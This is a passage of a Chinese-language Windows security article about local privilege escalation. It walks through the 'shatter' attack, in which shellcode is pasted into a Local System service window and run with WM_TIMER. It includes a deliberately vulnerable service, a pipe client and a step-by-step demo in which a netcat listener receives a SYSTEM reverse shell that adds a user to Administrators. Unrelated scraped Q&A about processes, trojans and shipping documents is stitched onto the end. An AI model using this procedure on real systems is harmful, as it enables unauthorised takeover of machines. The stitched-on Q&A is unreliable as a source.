net\NtControlPipe1 1 1
DhcpClient 1 -1
net\NtControlPipe2 1 1
。。。。。。。。。。。。。。。。
很奇怪，虽然lsass进程终止运行，但是它的Named PPipe还在----这大概是Pipe3没能创建“\\.\pipe\lsass”的原因。由于时间的关系，我没能深入研究这个问题，不过哪位朋友要是用Pipe3成功地实现Exploit的话，不要忘记告诉我一声！
不过话又说回来，这种利用Debug Register来终止lsass进程的方法----即使成功的话，也太暴露了：整个系统居然会Shutdown！任何一个傻瓜管理员都会发现有黑客入侵。这大概是黑客中的业余水平。好一点的黑客要做到“轻轻的我走了，正如我轻轻的来”，要象伟大的诗人兼武林高手徐自摩那样施展一把轻功，让傻瓜管理员根本发现不了，当然耳朵厉害的管理员还是会发现的----“谁？有黑客！抓黑客！”。水平达到最高境界的黑客应该是能够羚羊挂角、踏雪无痕的，这就不是我能评论的了。
利用Win32 API的设计缺陷提升权限：
几个星期以前我在计算机安全网站上看到两篇新发表的文章：<>、<>，作者是Chris
Paget(网名Foon)，我建议大家去下面的网址读一下他的原著：
http://security.tombom.co.uk/shatter.html
http://security.tombom.co.uk/moreshatter.html。
这两篇文章详细地介绍了如何利用Win32 API的一个设计缺陷来提升普通用户的权限。我们前面也提到，普通用户的进程可以向他/她的Desktop上任何Window发送Message，让目标Window执行用户指定的操作，比如说COPY/PASTE(拷贝/沾贴)、定时运算(Timer)等等。这个Window可能属于用户自己，也可能属于Local System(象"NetDDE Agent")----这样问题就来了：
---- 普通用户如你我他她它(比尔盖茨说狗也可能上网的，所以我们要算上“它”)在他的Desktop上先找到一个属于Local System的Window，我们给这个Window起一个名字叫WINDOWXYZ，这个WINDOWXYZ上最好有能接收沾贴内容的Control(比如说 EDIT)；
---- 用户可以把黑客码用“WM_PASTE”(Message之一)沾贴到WINDOWXYZ的Control里；
---- 用户找到被沾贴的黑客码在WINDOWXYZ进程中的地址；
---- 用户然后发送“WM_TIMER”(Message之二)给WINDOWXYZ，同时把黑客码地址作为参数一并传给WINDOWXYZ，WINDOWXYZ於是执行定时运算，开始运行黑客码。这些 黑客码是以Local System的权限运行的，所以普通用户的权限被成功地提升。
---- 实际上，根据FOON的文章，即使普通用户在其Desktop上找不到属于Local System的Window，他也有办法提升权限：他可以利用Tool Help函数得到属于 Local System的进程及其Thread，只要其中任何一个Thread能处理Window的Message，用户就可以用函数PostThreadMessage()向这个属于Local System的Thread发送Message，然后就。。。如此这般。。。地提升权限。不过我没有时间 亲手试验过这种方法。
这两篇文章引起了很大的反响，其中最引人注意的是Microsoft的答复，Micorsoft说这种方法老早就有人提出来了，Nothing New！又说根本就不应该在普通用户的Desktop上创建属于Local System的Window，编程序的人应该避免这样的设计。但实际上隐藏式的窗口"NetDDE Agent"就出自于Microsoft的设计，它属于Local System但是却运行在登录用户的Desktop上，看来Microsoft是知法犯法啊！
我觉得这个缺陷就象不安全的函数strcpy一样，C语言在实现strcpy函数时有漏洞(函数返回地址、函数堆栈栈底地址等系统管理信息与缓冲区分配在一块，缓冲区的溢出就会覆盖系统管理信息)，於是大家寄希望于程序员能够避免使用函数strcpy。现在Microsoft也承认在普通用户的Desktop上创建一个Window是危险的，所以它也寄希望于大家编程时避免使用这样的设计。
下面我专门编写了一个服务进程“SimpleService”来演示一下Microsoft的这个设计缺陷。SimpleService以Local System的权限运行，它打开一个Named Pipe然后等待Named Pipe Client与它联络；普通用户接着登录计算机并运行程序“Client”，“Client”是一个Named Pipe Client；它向SimpleService的Named Pipe随便写一些字节，於是SimpleService就在登录用户的Desktop上产生一个对话窗口(Dialog Box)。普通用户最后利用FOON的攻击程序Shatter攻击这个对话窗口来获得“Local System”的权限。
因为SimpleService程序太长，所以我只节选了关键的部分让大家参考：
<====================SimpleService====================>
#define SZAPPNAME _T("Simple")
#define SZSERVICENAME _T("SimpleService")
#define SZSERVICEDISPLAYNAME _T("Simple Service")
#define SZDEPENDENCIES _T("")
typedef struct DLGPARAM{
UINT numOfHit;
TCHAR *msg;
} DlgParam;
// internal function prototypes
static BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
// SimpleService.cpp : Defines the entry point for the
application.
//
HINSTANCE hAppInstance;
DlgParam m_dlgParam;
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
......
}
void WINAPI service_main()
{
......
}
VOID WINAPI service_ctrl(DWORD dwCtrlCode)
{
......
}
BOOL WINAPI ControlHandler ( DWORD dwCtrlType )
{
......
}
HANDLE hServerStopEvent = NULL;
VOID ServiceStart ()
{
......
......
hPipe = CreateNamedPipe(
lpszPipeName , // name of pipe
FILE_FLAG_OVERLAPPED
PIPE_ACCESS_DUPLEX, // pipe open mode
PIPE_TYPE_MESSAGE
PIPE_READMODE_MESSAGE
PIPE_WAIT, // pipe IO type
1, // number of instances
0, // size of outbuf
file://(0 == allocate as necessary)
0, // size of inbuf
1000, // default time-out value
&sa); // security attributes
......
......
while ( 1 )
{
......
......
ConnectNamedPipe(hPipe, &os);
......
......
bRet = ReadFile(
hPipe, // file to read from
szIn, // address of input buffer
sizeof(szIn), // number of bytes to read
&cbRead, // number of bytes read
&os); // overlapped stuff, not needed
......
......
_stprintf(szOut, _T("Please check the Dialog Box"));
_stprintf(szOut1, _T("Eacho Back! [%s]"), szIn);
......
......
bRet = WriteFile(
hPipe, // file to write to
szOut, // address of output buffer
sizeof(szOut), // number of bytes to write
&cbWritten, // number of bytes written
&os); // overlapped stuff, not needed
......
......
DisconnectNamedPipe(hPipe);
m_dlgParam.numOfHit++;
m_dlgParam.msg = szOut1;
/*
在登录用户的Desktop上创建一个窗口
*/
int result = DialogBoxParam(hAppInstance,
MAKEINTRESOURCE(IDD_SVCMSG),
NULL,
(DLGPROC) DialogProc,
(LPARAM) &m_dlgParam);
}
cleanup:
......
......
}
VOID ServiceStop()
{
if ( hServerStopEvent )
SetEvent(hServerStopEvent);
}
#define SIZEOFBUF 40
/*
Window的Message Handler
*/
BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
DlgParam* l_pDlgParam = (DlgParam*) lParam;
CHAR tempBuf[SIZEOFBUF];
switch (uMsg)
{
case WM_INITDIALOG:
{
HWND hNumVisit = GetDlgItem(hwnd, IDC_NUMHIT); /*限定Edit Control的尺寸(Size)为3*/
SendMessage( hNumVisit, EM_LIMITTEXT, (WPARAM) 3,
(LPARAM)0);
_itoa(l_pDlgParam->numOfHit, tempBuf,10);
SendMessage(hNumVisit, WM_SETTEXT, (WPARAM)
0,(LPARAM)tempBuf);
HWND hMsg = GetDlgItem(hwnd, IDC_MSG);
/*限定Edit Control的尺寸(Size)为40*/
SendMessage( hMsg, EM_LIMITTEXT, (WPARAM) SIZEOFBUF,
(LPARAM)0);
SendMessage( hMsg, WM_SETTEXT, (WPARAM) 0,
(LPARAM) l_pDlgParam->msg );
SetForegroundWindow(hwnd);
return FALSE;
}
case WM_COMMAND:
{
switch (LOWORD(wParam))
{
case IDC_OK:
EndDialog(hwnd, IDC_OK);
return FALSE;
default:
return FALSE;
}
}
}
return FALSE;
}
<===============================================>
下面是程序Client.c，非常简单，它的功能仅仅是向“\\.\pipe\simple”发送几个字节：
<=======================Client========================>
// client.cpp : Defines the entry point for the console
application.
//
#include
#include
#include
#include
int main(int argc, char* argv[])
{
char inbuf[80];
char outbuf[80];
DWORD bytesRead;
BOOL ret;
LPSTR lpszPipeName = "\\\\.\\pipe\\simple";
LPSTR lpszString = "World";
strcpy( outbuf, lpszString );
ret = CallNamedPipeA(lpszPipeName,
outbuf, sizeof(outbuf),
inbuf, sizeof(inbuf),
&bytesRead, NMPWAIT_WAIT_FOREVER);
if (!ret) {
printf("client: CallNamedPipe failed for %d\n",
GetLastError());
exit(1);
}
printf("client: received: %s\n", inbuf);
return 0;
}
<==================================================>
FOON编写了一个攻击工具Shatter，大家可以参考他的文章来使用这个工具，而且他的网站上还有Shatter的源程序。这个程序专门攻击象SimpleService这样会创建Window的服务进程，它首先把Window中Edit Control的尺寸(Size)扩大，然后把可执行的黑客码沾贴到Edit中，这样就把黑客码拷贝到这个Window进程的内存中了----很Cool吧！接下来我们就要寻找黑客码在内存中的地址，FOON是用Windbg去寻找这个地址的，详情请参考他的文章。最后Shatter向Window进程发送一个定时执行Message----“WM_TIMER”，迫使Window进程执行刚才拷贝进去的黑客码。这个黑客码是根据jill的黑客码改编而成，它产生一个远程的cmd shell联结回到Client机器上，所以我们可以用鼎鼎有名的netcat程序与它联络。
我现在来演示一下使用Shatter攻击SimpleService的过程，看看普通用户“moda”是如何通过Shatter提升权限的：
先以普通用户“moda”登录，看看本地Administrators组当前的成员：
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
D:\MyJob\tool\netcat>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the Members
-----------------------------------------------------------------------------
Administrator
The command completed successfully.
本地Administrators组只有Administrator一个成员。我们试一下能不能把“moda”加入到本地Administrators组。
D:\MyJob\tool\netcat>net localgroup administrators /add moda
System error 5 has occurred.
Access is denied.
很惨呀，得了一个“Access is denied.”的错误。
下面运行程序Client，向SimpleService发送几个字节，於是SimpleService在普通用户“moda”的Desktop上产生一个对话框：
这个对话框上有两个Edit Controls，一个对应着“Number Of Hit”，这里输出SimpleService的Named Pipe被访问的次数；一个对应着“Message Back”，这里输出SimpleService的Message。这两个Edit都可以被攻击利用，不过我这里以“Message Back”的Edit为例。让我们运行FOON的攻击程序Shatter：
第一步：我们需要扩大Edit的尺寸(Size)。大家从SimpleService的源程序中可以看到，“Message Back”的Edit只允许40个char，而jill的黑客码显然超过了这个长度，所以我们就通过Shatter向这个Edit的柄Handler发送EM_SETLIMITEXT，把它的尺寸扩大到0xffffffff(见下图)。
第二步：把FOON改编的jill黑客码拷贝到Clipboard上，然后往Edit发送WM_PASTE，你可以看到Edit中马上堆积了一长串乱七八糟的字符，这就是jill黑客码。
第三步：利用Windbg去寻找jill黑客码在Window内存中的地址，这个过程FOON已经讲得很清楚了，所以就不用我罗嗦了。在dallas上我得到的地址是在0x1389c0附近。
第四步：另外打开一个Dos窗口运行netcat，我们准备与打入敌营的侦察兵jill联络：
D:\MyJob\tool\netcat>
D:\MyJob\tool\netcat>nc -lp 123
第五步：向Edit发送WM_TIMER，让Window进程跳去执行从0x1389c0开始的黑客码。你马上就能看到netcat开始收到了jill发回来的内容，它输出一些版权信息。
D:\MyJob\tool\netcat>
D:\MyJob\tool\netcat>nc -lp 123
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
第六步： 现在你就可以通过netcat与Window进程中的cmd Shell联系，可以向它发送命令，从它那里得到命令运行结果。这个cmd Shell具有Local System的权限，所以我们可以轻易地把普通用户“moda”加入到本地Administrators组中：
D:\WINNT\system32>net localgroup administrators /add moda
net localgroup administrators /add moda
The command completed successfully.
D:\WINNT\system32>net localgroup administrators
net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the Members
-----------------------------------------------------------------------------
Administrator moda
The command completed successfully.
D:\WINNT\system32>
D:\WINNT\system32>
以上就是我演示Microsoft这个缺陷的过程，虽说我有意把SimpleServic设计得易于黑客攻击，但实际上还有不少的流行的程序也是犯了同样的错误，象FOON文章中提及的Network Associates VirusScan v4.5.1, 还有我最喜欢用的WinVNC等等，它们都在普通用户的Desktop上创建了一个具有Local System权限的Window。
澹段复方： NetDDE Agent＂,是一个＂NDDEAgnt＂类的window class,它的功能在于协助DDE Server程序及DDE Client程序之间的数据交换.由于它由Winlogon创建,这个Window的进程就以Local System的权限运行在登录用户的Desktop上,只不过用户看不到它而已.
黄岩区13844648515： wms session agent是什么程序 - ？
澹段复方： smss.exe Session Manager csrss.exe 子系统服务器...180 winlogon.exe Title: NetDDE Agent 208services....1080 MAPISP32.EXE Title: WMS Idle 1264 rundll...
黄岩区13844648515： 我从资源管理器上发现我的进程有三四十个,导致电脑运行慢,怎么减少进程啊 - ？
澹段复方： 系统进程全攻略最基本的系统进程(也就是说,这些进程是系统运行的基本条件,有了这些进程,系统就能正常运行): smss.exe Session Manager...
黄岩区13844648515： 名字叫netdde.exe是个什么病毒？
澹段复方： 开始,运行,输入:Services.msc即可看到 Network DDE 这个服务,关闭即可.管理动态数据交换 (DDE) 网络共享.如果此服务终止,DDE 网络共享将不可用.如果此服务被禁用,任何依赖它的服务将无法启动.一般用户不会用到
黄岩区13844648515： 安卓手机系统里的downloadagent是什么可以删除吗,删了有什么影响呢? - ？
澹段复方： 不能删除,这个是下载管理器.
黄岩区13844648515： 俺计算机里有5个svchost.exe的进程,正常吗? - ？
澹段复方： 非常正常,给你介绍一下svchost.exe这个进程吧svchost.exe进程文件: svchost or svchost.exe 进程名称: Microsoft Service Host Process 进程类别:其他进程英文描述:...
黄岩区13844648515： 海单和货代单啥区别 - ？
澹段复方： 海运提单(MARINE/OCEAN B/L),具有三种功能:一是承运人或其代理人收到货物后,签发给托运人的一种货物收据,二是承托双方运输契约成立的凭证,三是收货人在货物到达地提取货物的物权凭...
黄岩区13844648515： Trojan - Downloader.Win32.Agent.cck 文件: C:\WINDOWSD\system32\qnfyd51.dll - ？
澹段复方： 首先建议使用最新的专业杀毒软件和木马专杀工具Ewido 4.0和卡巴斯基等进行处理,如遇杀毒软件被禁用或杀毒失败或一开机就重...
黄岩区13844648515： Trojan Downloader Agent.bmb是啥病毒 - ？
澹段复方： 这是一个总称是特洛依的木马的一种,一般是通过IE来传播或是安装程序,U 盘.首先下几个软件:卡巴斯基、木马杀客和超级兔子.然后进安全模式,用兔子将你的IE临时文件夹,缓存等全部清理,用木马杀客杀毒,杀好后可以用卡巴在杀一遍.然后重新启动进入,用木马杀客杀一下如果没有,那应该没事了如果还有的话,可能他已经感染你的引导区了,那就只能请你格式化全部的盘,注意最好重新将硬盘分区,那就没问题了.重新装系统后,你可以用 firefox,这比IE好,就算有病毒等也不会影响你的整个系统 你也可以下瑞新杀,8月5日瑞新针对这几类病毒做出了杀毒工具
黄岩区13844648515： not - a - virus:Adware.win.32.Agent.dd是啥病毒啊 - ？
澹段复方： 是被定义为广告软件的东东 ,Adware.win.32.Agent.dd不是病毒
